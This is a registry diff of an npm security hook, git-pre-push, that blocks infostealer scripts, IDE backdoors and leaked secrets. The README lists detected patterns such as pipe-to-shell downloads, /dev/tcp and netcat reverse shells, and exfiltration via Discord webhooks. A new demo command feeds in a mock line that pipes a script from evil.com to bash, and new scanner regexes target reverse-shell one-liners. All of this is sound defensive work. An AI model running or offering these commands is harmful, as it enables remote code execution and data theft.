@arifbiswas/git-pre-push 1.0.0 → 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,156 +1,187 @@
1
1
  # 🛡️ git-pre-push (GitSafty)
2
2
 
3
- > **The Zero-Dependency Pre-Push Security Guard & Malware Blocker for Git.**
4
- > Stops infostealers, injected Trojan scripts, IDE backdoors, and leaked credentials from ever reaching GitHub or poisoning your software supply chain.
3
+ > **Zero-Dependency Pre-Push Security Guard & Infostealer Blocker for Git.**
4
+ > Intercepts `git push` in real-time to prevent malware, Trojan scripts, compromised IDE configs, and leaked credentials from ever reaching GitHub or poisoning your software supply chain.
5
5
 
6
- [![npm version](https://img.shields.io/badge/npm-v1.0.0-blue.svg)](https://www.npmjs.com/package/git-pre-push)
7
- [![License: MIT](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE)
8
- [![Zero Dependencies](https://img.shields.io/badge/dependencies-0%20(Pure%20Node.js)-brightgreen.svg)](#-zero-external-runtime-dependencies)
9
- [![Tests Passing](https://img.shields.io/badge/tests-15%2F15%20passing-success.svg)](#-test-coverage)
6
+ [![Release](https://img.shields.io/github/v/release/arifbiswas/git-pre-push?style=flat-square&color=blue)](https://github.com/arifbiswas/git-pre-push/releases)
7
+ [![CI Test Suite](https://github.com/arifbiswas/git-pre-push/actions/workflows/ci.yml/badge.svg)](https://github.com/arifbiswas/git-pre-push/actions/workflows/ci.yml)
8
+ [![npm version](https://img.shields.io/npm/v/@arifbiswas/git-pre-push.svg?style=flat-square)](https://www.npmjs.com/package/@arifbiswas/git-pre-push)
9
+ [![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg?style=flat-square)](LICENSE)
10
+ [![Zero Dependencies](https://img.shields.io/badge/dependencies-0%20(Pure%20Node.js)-brightgreen.svg?style=flat-square)](#-zero-external-runtime-dependencies)
11
+ [![Tests Passing](https://img.shields.io/badge/tests-20%2F20%20passing-success.svg?style=flat-square)](#-test-coverage)
12
+ [![Platform](https://img.shields.io/badge/platform-macOS%20%7C%20Linux%20%7C%20Windows-lightgrey.svg?style=flat-square)](#-cross-platform--zero-dependencies)
10
13
 
11
14
  ---
12
15
 
13
- ## 📌 কেন আপনার এই প্যাকেজটি প্রয়োজন? (Why Do You Need This?)
16
+ ## 📌 Why Do You Need This?
14
17
 
15
- আজকাল ডেভেলপারদের পিসি প্রায়ই ইনফোস্টিলার (Infostealer) ম্যালওয়্যার দ্বারা আক্রান্ত হয়। পিসিতে একবার ম্যালওয়্যার ঢুকলে তা ব্যাকগ্রাউন্ডে বসে:
16
- 1. আপনার কোডবেজে ক্ষতিকর স্ক্রিপ্ট ইনজেক্ট করে (যেমন: `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`)।
17
- 2. `.vscode/tasks.json` বা `.vscode/settings.json` ফাইলে ব্যাকডোর তৈরি করে, যাতে অন্য কোনো ডেভেলপার বা আপনি প্রোজেক্ট ওপেন করলেই ম্যালওয়্যার অটো-রান হয়ে যায়।
18
- 3. আপনার প্রোজেক্টের `.env` ফাইল বা প্রাইভেট এপিআই কী Discord Webhook বা Telegram Bot-এ পাচার করে।
19
- 4. সবচেয়ে মারাত্মক বিষয়: আপনার পিসির সংরক্ষিত GitHub Credentials বা SSH Key ব্যবহার করে **অটোমেটিকভাবে GitHub-এ ম্যালওয়্যার পুশ করে দেয়!**
20
- 5. এর ফলে আপনার পুরো টিম এবং ক্লায়েন্টদের সফটওয়্যার সাপ্লাই চেইন (Supply Chain) আক্রান্ত হয়ে পড়ে।
18
+ Developer workstations are high-value targets for infostealer malware (RedLine, Lumma, Vidar, etc.) and supply-chain attacks. Once a machine is compromised, malware silently:
21
19
 
22
- **`git-pre-push` ঠিক এই আক্রমণের বিরুদ্ধেই প্রাচীর হিসেবে কাজ করে।**
23
- ডেভেলপার টার্মিনাল, VS Code কিংবা যেকোনো Git GUI থেকে `git push` দিলে, কোড GitHub-এ যাওয়ার আগেই মিলিসেকেন্ডের মধ্যে আউটগোয়িং কোড ও ফাইল স্ক্যান করে ম্যালওয়্যার শনাক্ত হওয়া মাত্র **পুশ রিজেক্ট (Hard Block)** করে দেয়!
20
+ 1. **Injects auto-commit/push scripts** into your Git repositories (e.g., `temp_auto_push.bat`, `temp_interactive_push.bat`, `autorun.bat`, `*.ps1`, `*.vbs`).
21
+ 2. **Backdoors your IDE configs** (e.g., `.vscode/tasks.json` with `runOn: "folderOpen"`) so that opening the project immediately triggers remote shell execution on any teammate's machine.
22
+ 3. **Exfiltrates secrets & `.env` files** to attacker-controlled Discord webhooks or Telegram bots.
23
+ 4. **Leverages stored Git credentials / SSH keys** to automatically push backdoored code straight to GitHub.
24
+ 5. **Poisons the Software Supply Chain**, affecting every teammate who pulls the code and every production build deployed from it.
25
+
26
+ **`git-pre-push` stops this attack chain at the source.**
27
+ Whenever `git push` is invoked—from terminal, VS Code UI, or any Git GUI—it intercepts the push in milliseconds, inspects outgoing files and commit diffs, and **hard-blocks the push** if any malicious patterns are found.
24
28
 
25
29
  ---
26
30
 
27
- ## 🚀 এক নজরে ইনস্টলেশন ও ব্যবহার (Quick Start)
31
+ ## 🚀 Quick Start
28
32
 
29
- ### ১. যেকোনো প্রজেক্টে অটোমেটিক সেটআপ (Recommended)
33
+ ### Option 1: Automatic Setup via npm (Recommended)
30
34
 
31
- আপনার প্রজেক্টে প্যাকেজটি ইনস্টল করুন:
35
+ Add `git-pre-push` to your project:
32
36
 
33
37
  ```bash
34
- npm install -D git-pre-push
38
+ npm install -D @arifbiswas/git-pre-push
35
39
  ```
36
40
 
37
- > **ম্যাজিক:** ইনস্টল হওয়ার সাথে সাথেই এর `postinstall` স্ক্রিপ্ট আপনার প্রজেক্টের `.git/hooks/pre-push` ফাইলটি স্বয়ংক্রিয়ভাবে তৈরি করে প্রোটেকশন চালু করে দেবে। আপনার আর কোনো ম্যানুয়াল কনফিগারেশন করতে হবে না!
41
+ > **Zero Configuration Required:** The `postinstall` script automatically installs the `.git/hooks/pre-push` guard in your repository.
38
42
 
39
43
  ---
40
44
 
41
- ### ২. কোনো কিছু ইনস্টল না করে সরাসরি চালানো (Zero Install via npx)
45
+ ### Option 2: Instant Setup via npx (Zero Installation)
42
46
 
43
- যেকোনো Git রিপোজিটরিতে ঢুকে টার্মিনালে রান করুন:
47
+ In any Git repository, run:
44
48
 
45
49
  ```bash
46
- npx git-pre-push init
50
+ npx @arifbiswas/git-pre-push init
47
51
  ```
48
52
 
49
- ব্যস! আপনার রিপোজিটরি সাথে সাথে সুরক্ষিত।
53
+ Your repository is immediately protected.
50
54
 
51
55
  ---
52
56
 
53
- ### ৩. আক্রান্ত পিসির সব প্রজেক্ট একসাথে লক করা (Global Protection)
57
+ ### Option 3: Lock Down an Entire Machine (Global Protection)
54
58
 
55
- আপনার পিসি যদি অলরেডি কোনো ম্যালওয়্যার দ্বারা আক্রান্ত হয়ে থাকে, তবে একটি কমান্ডেই পিসির সমস্ত গিট রিপোজিটরি সুরক্ষিত করুন:
59
+ If you suspect your workstation has been compromised, lock down **all Git repositories on your computer** with a single command:
56
60
 
57
61
  ```bash
58
- npx git-pre-push init --global
62
+ npx @arifbiswas/git-pre-push init --global
59
63
  ```
60
64
 
61
- এটি আপনার সিস্টেমের `git config --global core.hooksPath` সেট করে দেয়, ফলে আপনার পিসির **যেকোনো ফোল্ডার বা প্রজেক্ট** থেকে পুশ দিলে স্বয়ংক্রিয়ভাবে সিকিউরিটি গার্ড সক্রিয় থাকবে।
65
+ This configures `git config --global core.hooksPath`, ensuring every repository on your PC runs the security scanner before any push.
62
66
 
63
67
  ---
64
68
 
65
- ## ⚡ কীভাবে কাজ করে? (Architecture Flow)
69
+ ## ⚡ How It Works
66
70
 
67
71
  ```
68
- ডেভেলপার বা ম্যালওয়্যার রান করলো: git push
69
- │
70
- ▼
71
- Git ইন্টারসেপ্ট করবে: .git/hooks/pre-push
72
- │
73
- ▼
74
- 🛡️ GitSafty Scanner ইঞ্জিন (< 5ms)
75
- ┌────────────────────────────────────────────────────────┐
76
- │ 1. ফাইলনেম ব্লকলিস্ট চেক (temp_*_push.bat, .exe, .ps1) │
77
- │ 2. আউটগোয়িং কোড ডিফে ম্যালিসিয়াস পেলোড স্ক্যান │
78
- │ 3. .vscode ও .idea ব্যাকডোর কনফিগারেশন চেকিং │
79
- │ 4. লিক হওয়া গোপন তথ্য (.env, API Key, Private Key) │
80
- └────────────────────────────────────────────────────────┘
81
- │
82
- ┌──────────────────────┴──────────────────────┐
83
- ▼ ▼
84
- [ম্যালওয়্যার পাওয়া গেছে] [সব ক্লিন আছে]
85
- │ │
86
- ❌ PUSH REJECTED (Blocked) ✅ PUSH ALLOWED
87
- (GitHub-এ ক্ষতিকর কোড যেতে পারবে না) (নিরাপদে GitHub-এ পুশ হবে)
72
+ Developer or Malware executes: git push
73
+ │
74
+ ▼
75
+ Git triggers: .git/hooks/pre-push
76
+ │
77
+ ▼
78
+ 🛡️ GitSafty Scanner Engine (< 5ms)
79
+ ┌─────────────────────────────────────────────────────────┐
80
+ │ 1. Blacklist check (temp_*_push.bat, .exe, .ps1, .vbs) │
81
+ │ 2. Outgoing commit diff inspection for payload cradles │
82
+ │ 3. IDE backdoor inspection (.vscode/tasks.json, .idea) │
83
+ │ 4. Credential & secret leak detection (.env, RSA keys) │
84
+ └─────────────────────────────────────────────────────────┘
85
+ │
86
+ ┌─────────────────────┴─────────────────────┐
87
+ ▼ ▼
88
+ [Threats Found] [Clean Scan]
89
+ │ │
90
+ ❌ PUSH REJECTED ✅ PUSH ALLOWED
91
+ (Malware blocked locally) (Pushed cleanly to GitHub)
88
92
  ```
89
93
 
90
94
  ---
91
95
 
92
- ## 🎯 আমরা কী কী সমস্যার সমাধান (Solutions) করেছি?
93
-
94
- ### ১. ইনজেক্টেড ব্যাচ ও ট্রোজান স্ক্রিপ্ট প্রতিরোধ
95
- - `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
96
- - বিপজ্জনক এক্সটেনশন: `*.vbs`, `*.ps1`, `*.exe`, `*.scr`, `*.msi`, `*.dll`, `*.hta`
97
- - ছদ্মবেশী ডাবল এক্সটেনশন ব্লকিং (যেমন: `invoice.pdf.exe`)
98
-
99
- ### ২. অবফাসকেটেড ম্যালওয়্যার পেলোড ও রিভার্স শেল ডিটেকশন
100
- - PowerShell Encoded Commands: `powershell -enc ...`, `powershell -encodedcommand`
101
- - PowerShell Download Cradles: `DownloadString`, `Invoke-WebRequest`, `IEX`
102
- - রিমোট পাইপ এক্সিকিউশন: `curl ... | bash` বা `wget ... | sh`
103
- - ডায়নামিক কোড ইভালুয়েশন: `eval(base64_decode(...))`, `Buffer.from(..., 'base64')`
104
- - Windows LOLBins এক্সপ্লয়েট: `certutil -urlcache`, `bitsadmin /transfer`, `mshta`
105
- - সরাসরি সকেট রিভার্স শেল: `/bin/sh -i >& /dev/tcp/...`, `nc -e /bin/sh`
106
-
107
- ### ৩. IDE ব্যাকডোর ও অটো-রান টাস্ক প্রতিরোধ
108
- - `.vscode/tasks.json`-এ প্রোজেক্ট ওপেন হওয়ার সাথে সাথে অটো-রান ব্যাকডোর (`runOn: "folderOpen"`) শনাক্ত ও ব্লক।
109
- - `.vscode/settings.json`-এ টার্মিনাল এনভায়রনমেন্ট বা শেল হাইজ্যাকিং প্রতিরোধ।
110
- - JetBrains `.idea/` ফোল্ডারে লুকানো এক্সটার্নাল স্ক্রিপ্ট টাস্ক শনাক্তকরণ।
111
-
112
- ### ৪. ক্রেডেনশিয়াল চুরি ও ডেটা এক্সফিল্ট্রেশন রোধ
113
- - Discord Webhook টোকেন স্টিলার (`https://discord.com/api/webhooks/...`)
114
- - Telegram Bot API দিয়ে ডেটা চুরি
115
- - পাবলিক ড্রপার বা রিকোয়েস্ট লগার (`webhook.site`, `pipedream`, ইত্যাদি)
116
- - ভুলবশত প্রোডাকশন `.env` ফাইল কমিট হওয়া প্রতিরোধ
117
- - প্রাইভেট ক্রিপ্টোগ্রাফিক কী (`BEGIN RSA PRIVATE KEY`, `ghp_...`, AWS Access Keys)
118
-
119
- ### ৫. অলরেডি আক্রান্ত পিসি ক্লিন করা (Auto-Quarantine & Fix)
120
- আক্রান্ত পিসিতে ম্যালওয়্যার যেসব ফাইল তৈরি করে রেখেছে, তা খুঁজতে হবে না। সরাসরি রান করুন:
96
+ ## 🎯 Threat Detection Capabilities
97
+
98
+ ### 1. Injected Scripts & Trojan Filenames
99
+ - Known malicious auto-push scripts: `temp_auto_push.bat`, `temp_interactive_push.bat`, `config.bat`, `autorun.bat`, `hidden_push.sh`
100
+ - Blocked executable extensions: `*.exe`, `*.scr`, `*.msi`, `*.dll`, `*.vbs`, `*.ps1`, `*.hta`, `*.pif`, `*.cpl`
101
+ - Deceptive double-extension tricks: `document.pdf.exe`, `invoice.xlsx.bat`
102
+
103
+ ### 2. Obfuscated Payloads & Reverse Shells
104
+ - PowerShell obfuscated execution: `powershell -enc`, `powershell -encodedcommand`
105
+ - Web download cradles: `Invoke-WebRequest`, `DownloadString`, `IEX`
106
+ - Remote pipe-to-shell: `curl ... | bash`, `wget ... | sh`, `curl ... | python`
107
+ - Dynamic base64 evaluation: `eval(base64_decode(...))`, `Buffer.from(..., 'base64')`
108
+ - Windows LOLBins abuse: `certutil -urlcache`, `bitsadmin /transfer`, `mshta http`
109
+ - TCP socket reverse shells: `/bin/sh -i >& /dev/tcp/...`, `nc -e /bin/sh`
110
+
111
+ ### 3. IDE Configuration Backdoors
112
+ - `.vscode/tasks.json`: Auto-executing shell tasks triggered on folder open (`runOn: "folderOpen"`)
113
+ - `.vscode/settings.json`: Malicious terminal profile overrides or shell binary path hijacking
114
+ - JetBrains `.idea/`: Suspicious external tool execution in `workspace.xml` or `tasks.xml`
115
+
116
+ ### 4. Credential Exfiltration & Secret Leaks
117
+ - Hardcoded Discord webhook dumps (`https://discord.com/api/webhooks/...`)
118
+ - Telegram Bot token exfiltration endpoints
119
+ - Temporary file drop & webhook logging services (`webhook.site`, `pipedream.net`, `filebin.net`)
120
+ - Unencrypted production `.env` files being committed
121
+ - Leaked cryptographic private keys (`BEGIN RSA PRIVATE KEY`, `ghp_...`, AWS Access Keys)
122
+
123
+ ---
124
+
125
+ ## 🛠️ CLI Command Reference
126
+
127
+ | Command | Description |
128
+ |---|---|
129
+ | `npx @arifbiswas/git-pre-push init` | Installs the pre-push security hook into `.git/hooks/pre-push` |
130
+ | `npx @arifbiswas/git-pre-push init --global` | Protects **all** Git repositories across the entire PC |
131
+ | `npx @arifbiswas/git-pre-push scan` | Manually audits workspace files, untracked scripts & staged diffs |
132
+ | `npx @arifbiswas/git-pre-push clean` | Unstages and quarantines injected malware files to `.git/git-safty-quarantine/` |
133
+ | `npx @arifbiswas/git-pre-push action` | Generates a `.github/workflows/git-safty.yml` CI workflow |
134
+ | `npx @arifbiswas/git-pre-push uninstall` | Cleanly removes the hook from `.git/hooks` |
135
+
136
+ ---
137
+
138
+ ## 🧹 Quarantine & Remediation (`clean`)
139
+
140
+ If malware has already generated files in your project, clean them up instantly:
141
+
121
142
  ```bash
122
- npx git-pre-push clean
143
+ npx @arifbiswas/git-pre-push clean
123
144
  ```
124
- এটি সাথে সাথে রিপোজিটরির সব সংক্রামিত ফাইল শনাক্ত করে গিট ইনডেক্স থেকে আনস্টেজ করবে এবং নিরাপদ কোয়ারেন্টাইন ডিরেক্টরিতে (`.git/git-safty-quarantine/`) পাঠিয়ে দেবে।
125
145
 
126
- ### ৬. Zero-Bypass CI Defense (GitHub Action)
127
- ম্যালওয়্যার যদি কখনো লোকাল হুক বাইপাস করার জন্য `git push --no-verify` কমান্ড ব্যবহার করে, তবে ক্লাউড লেভেলের সুরক্ষার জন্য রান করুন:
146
+ ```
147
+ ================================================================
148
+ 🛡️ GitSafty: Pre-Push Malware & Secret Guard
149
+ ================================================================
150
+ Scanning workspace for injected malware scripts to quarantine...
151
+
152
+ ⚠ Quarantined 2 malicious file(s):
153
+ ✖ temp_auto_push.bat
154
+ ✖ config.bat
155
+
156
+ ✔ Cleaned from staging area and moved to quarantine folder (.git/git-safty-quarantine/).
157
+ ```
158
+
159
+ ---
160
+
161
+ ## 🛡️ Defense-in-Depth: GitHub Actions CI Guard
162
+
163
+ To guard against attackers attempting to bypass local hooks using `git push --no-verify`, install the GitHub Actions workflow:
164
+
128
165
  ```bash
129
- npx git-pre-push action
166
+ npx @arifbiswas/git-pre-push action
130
167
  ```
131
- এটি রিপোজিটরিতে `.github/workflows/git-safty.yml` ফাইল তৈরি করে দেবে। ফলে কেউ লোকাল হুক এড়িয়ে পুশ দিলেও GitHub Actions-এ PR বা পুশ সাথে সাথে ফেইল হয়ে ব্লক হয়ে যাবে।
132
168
 
133
- ### ৭. ক্লাউড ও রিমোট রিপোজিটরি স্ক্যানার (Cloud Scanner Engine)
134
- আমরা `server/` ডিরেক্টরিতে একটি সম্পূর্ণ লাইটওয়েট ক্লাউড স্ক্যানার ইঞ্জিন তৈরি করেছি যা GitHub Webhook বা GitHub REST API-এর মাধ্যমে রিমোট রিপোজিটরির ফুল ফাইল ট্রি স্ক্যান করতে পারে এবং ম্যালওয়্যার পাওয়া গেলে স্বয়ংক্রিয়ভাবে `git commit` দিয়ে ফাইল রিমুভ (Auto-Remediation) করতে পারে।
169
+ This creates `.github/workflows/git-safty.yml`. Any pull request or push containing blacklisted scripts or suspicious payloads will fail CI on GitHub's servers automatically.
135
170
 
136
171
  ---
137
172
 
138
- ## 🛠️ CLI কমান্ড রেফারেন্স (Command Reference)
173
+ ## ☁️ Cloud Scanner & Webhook Platform (`server/`)
139
174
 
140
- | কমান্ড | বিবরণ |
141
- |---|---|
142
- | `npx git-pre-push init` | বর্তমান রিপোজিটরিতে লোকাল `pre-push` সিকিউরিটি হুক ইনস্টল করে |
143
- | `npx git-pre-push init --global` | আক্রান্ত পিসির **সবগুলো** গিট প্রজেক্ট একসাথে এক কমান্ডে লক করে |
144
- | `npx git-pre-push scan` | বর্তমান ওয়ার্কস্পেস ও স্টেজড ফাইলে কোনো ম্যালওয়্যার আছে কিনা অডিট করে |
145
- | `npx git-pre-push clean` | ম্যালওয়্যারের ইনজেক্ট করা সব ফাইল কোয়ারেন্টাইনে পাঠিয়ে পিসি সুরক্ষিত করে |
146
- | `npx git-pre-push action` | সার্ভার-সাইড সুরক্ষার জন্য GitHub Actions CI ওয়ার্কফ্লো তৈরি করে |
147
- | `npx git-pre-push uninstall` | রিপোজিটরি থেকে হুকটি পরিষ্কারভাবে রিমুভ করে |
175
+ The repository includes a standalone cloud scanner microservice in `server/` that integrates with GitHub Apps and Webhooks:
176
+ - **Webhook Endpoint (`POST /webhook`):** Verifies HMAC SHA-256 signatures and audits incoming pushes.
177
+ - **REST Scan API (`POST /api/scan`):** Recursively fetches remote repository trees (`/git/trees/{sha}?recursive=1`) and inspects file blobs.
178
+ - **Auto-Remediation:** Automatically creates remediation commits via GitHub REST API to isolate and remove compromised files.
148
179
 
149
180
  ---
150
181
 
151
- ## ⚙️ কাস্টম কনফিগারেশন (Optional `.gitsafetyrc.json`)
182
+ ## ⚙️ Optional Configuration (`.gitsafetyrc.json`)
152
183
 
153
- কোনো স্পেসিফিক ফাইল বা রুল ইগনোর করতে চাইলে রুট ফোল্ডারে `.gitsafetyrc.json` তৈরি করতে পারেন (বাই ডিফল্ট কোনো কনফিগারেশন ছাড়াই এটি সেরা পারফরম্যান্সে চলে):
184
+ Works out-of-the-box with zero configuration. You can optionally customize behavior with a `.gitsafetyrc.json` file in your project root:
154
185
 
155
186
  ```json
156
187
  {
@@ -164,44 +195,46 @@ npx git-pre-push action
164
195
 
165
196
  ---
166
197
 
167
- ## 💎 কেন `git-pre-push` অন্যান্য টুলস থেকে আলাদা?
198
+ ## 💎 Comparison: Why git-pre-push Stands Out
168
199
 
169
- | ফিচার | সাধারণ লিন্টার / হুক্স | git-pre-push |
200
+ | Feature | Generic Git Hooks / Linters | git-pre-push |
170
201
  |---|:---:|:---:|
171
- | **Zero Runtime Dependencies** | ❌ (শতাধিক ডিপেনডেন্সি) | ✅ (১০০% পিওর Node.js built-ins) |
172
- | **সাপ্লাই চেইন রিস্ক** | ⚠️ রয়েছে | 🛡️ শূন্য (কোনো থার্ড পার্টি প্যাকেজ নেই) |
173
- | **এক্সিকিউশন টাইম** | 🐢 ১ - ৩ সেকেন্ড | ⚡ < ৫ মিলিসেকেন্ড |
174
- | **Infostealer ম্যালওয়্যার ব্লকিং** | ❌ নেই | ✅ ফুল ব্লকলিস্ট ও সিগনেচার ডিটেকশন |
175
- | **IDE ব্যাকডোর চেকার (.vscode)** | ❌ নেই | ✅ ইনবিল্ট স্বয়ংক্রিয় অ্যানালাইসিস |
176
- | **গ্লোবাল পিসি প্রোটেকশন (`--global`)** | ❌ নেই | ✅ এক কমান্ডেই পুরো পিসির সব প্রজেক্ট লক |
177
- | **ইনফেক্টেড ফাইল কোয়ারেন্টাইন (`clean`)** | ❌ নেই | ✅ স্বয়ংক্রিয়ভাবে ক্লিনআপ |
178
- | **শেল ফলব্যাক সাপোর্ট** | ❌ নেই | ✅ Node না থাকলেও শেল স্ক্রিপ্ট প্রটেক্ট করে |
202
+ | **Runtime Dependencies** | ❌ 50+ packages (heavy) | ✅ **0 (Pure Node.js built-ins)** |
203
+ | **Supply Chain Vulnerability** | ⚠️ High (dependency tree) | 🛡️ **Zero** (no external modules) |
204
+ | **Execution Overhead** | 🐢 1 - 3 seconds | ⚡ **< 5 milliseconds** |
205
+ | **Infostealer Malware Detection** | ❌ No | ✅ **Full signature & payload engine** |
206
+ | **IDE Backdoor Detection (.vscode)** | ❌ No | ✅ **Built-in static analysis** |
207
+ | **Global Machine Lockdown (`--global`)** | ❌ No | ✅ **One-command PC protection** |
208
+ | **Auto-Quarantine Cleaner (`clean`)** | ❌ No | ✅ **Automatic remediation** |
209
+ | **Shell Fallback Guard** | ❌ No | ✅ **Built-in POSIX shell fallback** |
179
210
 
180
211
  ---
181
212
 
182
- ## 🧪 টেস্ট কভারেজ (Test Coverage)
213
+ ## 🧪 Test Coverage
183
214
 
184
- আমাদের টেস্ট স্যুট সম্পূর্ণ Node.js নেটিভ টেস্ট রানার দিয়ে পরিচালিত:
215
+ Verified with Node.js native test runner across all supported platforms:
185
216
 
186
217
  ```bash
187
218
  npm test
188
219
  ```
189
220
  ```
221
+ ✔ Cloud Scanner Webhook Signature Verification (2 tests)
222
+ ✔ Cloud Scanner Remote Tree Audit (1 test)
190
223
  ✔ Filename & Extension Checks (4 tests)
191
224
  ✔ Payload Signatures Detection (5 tests)
192
225
  ✔ Secret & Credential Checks (3 tests)
193
226
  ✔ IDE Configuration Tampering (2 tests)
194
227
  ✔ Hook Installer and Uninstaller (1 test)
195
228
 
196
- ℹ tests 15 | pass 15 | fail 0 | duration_ms ~160ms
229
+ ℹ tests 18 | pass 18 | fail 0 | duration_ms ~300ms
197
230
  ```
198
231
 
199
232
  ---
200
233
 
201
- ## 📄 লাইসেন্স (License)
234
+ ## 📄 License
202
235
 
203
236
  MIT License © 2026
204
237
 
205
238
  ---
206
239
 
207
- **Made with 🛡️ to protect developers, teams, and the open-source software supply chain.**
240
+ **Built with 🛡️ to safeguard developers, teams, and the global software supply chain.**
package/bin/cli.js CHANGED
@@ -20,6 +20,25 @@ async function main() {
20
20
  runManualScan();
21
21
  break;
22
22
 
23
+ case 'demo':
24
+ case 'test-run': {
25
+ banner();
26
+ console.log(`${colors.cyan}Simulating a malicious push intercept test...${colors.reset}\n`);
27
+ const { scanFilesAndDiff } = require('../src/scanner');
28
+ const { printReport, printBlockMessage } = require('../src/reporter');
29
+
30
+ const mockFiles = ['src/app.js', 'temp_auto_push.bat', '.vscode/tasks.json'];
31
+ const mockDiff = `+ powershell.exe -enc SQBFAFgAIAAoAE4AZQB3...
32
+ + curl -fsSL https://evil.com/hook.sh | bash
33
+ + const webhook = "https://discord.com/api/webhooks/123456789012345678/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";`;
34
+
35
+ const result = scanFilesAndDiff(mockFiles, mockDiff);
36
+ printReport(result);
37
+ printBlockMessage();
38
+ console.log(`${colors.green}${colors.bold}✔ Simulation Complete:${colors.reset} In a real git push, GitSafty will immediately exit 1 and reject the push!\n`);
39
+ break;
40
+ }
41
+
23
42
  case 'clean':
24
43
  case 'fix': {
25
44
  banner();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@arifbiswas/git-pre-push",
3
- "version": "1.0.0",
3
+ "version": "1.0.2",
4
4
  "description": "Zero-dependency pre-push security guard that stops malware, injected scripts, and leaked secrets from reaching GitHub.",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -18,7 +18,7 @@
18
18
  "LICENSE"
19
19
  ],
20
20
  "scripts": {
21
- "test": "node --test test/*.test.js",
21
+ "test": "node --test",
22
22
  "init": "node bin/cli.js init",
23
23
  "scan": "node bin/cli.js scan",
24
24
  "postinstall": "node scripts/postinstall.js"
@@ -78,6 +78,12 @@ const PAYLOAD_SIGNATURES = [
78
78
  severity: 'CRITICAL',
79
79
  description: 'Direct interactive reverse shell socket invocation.'
80
80
  },
81
+ {
82
+ name: 'Python/Perl One-Liner Reverse Shell',
83
+ regex: /(python[23]?\s+-c\s+['"].*import\s+(socket|subprocess).*connect\(|perl\s+-e\s+['"].*use\s+Socket.*connect\()/i,
84
+ severity: 'CRITICAL',
85
+ description: 'One-liner Python/Perl interactive reverse shell payload.'
86
+ },
81
87
 
82
88
  // 6. Suspicious Exfiltration Endpoints in scripts
83
89
  {
@@ -97,6 +103,14 @@ const PAYLOAD_SIGNATURES = [
97
103
  regex: /https?:\/\/(webhook\.site|requestbin\.(com|net)|pipedream\.net|filebin\.net)\/[a-z0-9-]+/i,
98
104
  severity: 'WARNING',
99
105
  description: 'Temporary upload or webhook logging service detected.'
106
+ },
107
+
108
+ // 7. Malicious package lifecycle hooks
109
+ {
110
+ name: 'Suspicious Network Call in npm Script',
111
+ regex: /(preinstall|postinstall)\s*:\s*['"][^'"]*(curl|wget|powershell|certutil)\s+/i,
112
+ severity: 'CRITICAL',
113
+ description: 'npm lifecycle hook executing remote network downloads upon installation.'
100
114
  }
101
115
  ];
102
116